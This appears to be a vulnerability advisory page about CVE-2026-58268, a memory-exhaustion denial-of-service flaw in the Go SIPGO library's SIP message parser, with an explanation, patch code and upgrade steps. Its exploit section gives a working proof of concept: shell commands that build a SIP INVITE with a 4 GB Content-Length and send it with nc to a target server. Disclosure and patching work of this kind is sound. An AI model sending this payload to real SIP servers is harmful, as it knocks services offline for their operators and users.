Listen to this Post
CVE-2026-58268 is a high-severity denial-of-service vulnerability in the SIPGO library, a SIP stack for writing SIP services in Go. The flaw resides in the `ParserStream.parseSingle` function within sip/parser_stream.go. Before validating the declared message size against the library’s `ParseMaxMessageLength` limit (65535 bytes), the parser allocates a body buffer directly from the client-supplied `Content-Length` header. This header is controlled by the remote peer and can specify a value up to 2^32-1 (4,294,967,295 bytes). Because the allocation occurs before the size check, an unauthenticated attacker can force the server to allocate an arbitrarily large buffer in memory without ever sending the corresponding body data. The vulnerable code path is:
body := make([]byte, contentLength) // contentLength is client-controlled
The size validation, which should precede allocation, is instead located in the caller ParseNext. This ordering flaw means `parseSingle` will execute the memory allocation regardless of whether the declared length violates the maximum message length policy. An attacker only needs to establish a stream transport connection—TCP, TLS, WebSocket (WS), or WebSocket Secure (WSS)—and send a single SIP message with a crafted `Content-Length` header and no body. The server process will attempt to allocate gigabytes of memory, leading to rapid memory exhaustion, process crashes, or severe degradation of service. No authentication is required, and the attack can be delivered in a single packet. The CVSS v3.1 score is 7.5 (High), with network attack vector, low complexity, no privileges required, and high availability impact. The issue is fixed in SIPGO v1.4.1 by enforcing the `ParseMaxMessageLength` check before any buffer allocation occurs.
DailyCVE Form:
Platform: SIPGO
Version: 1.4.0
Vulnerability: DoS
Severity: High
date: 2026-09-22
Prediction: 2026-09-29
What Undercode Say:
Analytics:
Identify affected SIPGO versions in dependencies go list -m all | grep sipgo Check the specific vulnerable code location sed -n '190,200p' $(go env GOPATH)/pkg/mod/github.com/emiago/[email protected]/sip/parser_stream.go Example vulnerable code snippet body := make([]byte, contentLength) // no size check before allocation
Craft a malicious SIP message with oversized Content-Length cat << 'EOF' > dos.sip INVITE sip:[email protected] SIP/2.0 Via: SIP/2.0/TCP attacker.example;branch=z9hG4bK1 From: <sip:[email protected]>;tag=1 To: <sip:[email protected]> Call-ID: [email protected] CSeq: 1 INVITE Content-Length: 4000000000 EOF Send to a SIP server over TCP nc -w 1 target-sip-server 5060 < dos.sip
Exploit: (Educational Purposes!)
Educational PoC: Trigger memory allocation via oversized Content-Length WARNING: For authorized testing only. Build a minimal SIP INVITE with a 4GB Content-Length declaration printf 'INVITE sip:[email protected] SIP/2.0\r\n' > dos_poc.sip printf 'Via: SIP/2.0/TCP attacker.example;branch=z9hG4bK1\r\n' >> dos_poc.sip printf 'From: <sip:[email protected]>;tag=1\r\n' >> dos_poc.sip printf 'To: <sip:[email protected]>\r\n' >> dos_poc.sip printf 'Call-ID: [email protected]\r\n' >> dos_poc.sip printf 'CSeq: 1 INVITE\r\n' >> dos_poc.sip printf 'Content-Length: 4294967295\r\n' >> dos_poc.sip printf '\r\n' >> dos_poc.sip Deliver the message to the target over TCP nc -w 2 192.168.1.100 5060 < dos_poc.sip
Protection: from this CVE
Upgrade SIPGO to the patched version go get github.com/emiago/[email protected] Verify the fixed version is in use go list -m github.com/emiago/sipgo
// Patched code in v1.4.1: validate before allocation
if contentLength > ParseMaxMessageLength {
return nil, ErrMessageTooLarge
}
body := make([]byte, contentLength)
Impact:
Unauthenticated remote denial of service. Any service using SIPGO with a stream transport (TCP, TLS, WS, WSS) can be forced to exhaust memory, causing process crashes or unresponsive behavior. No confidentiality or integrity impact is reported.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
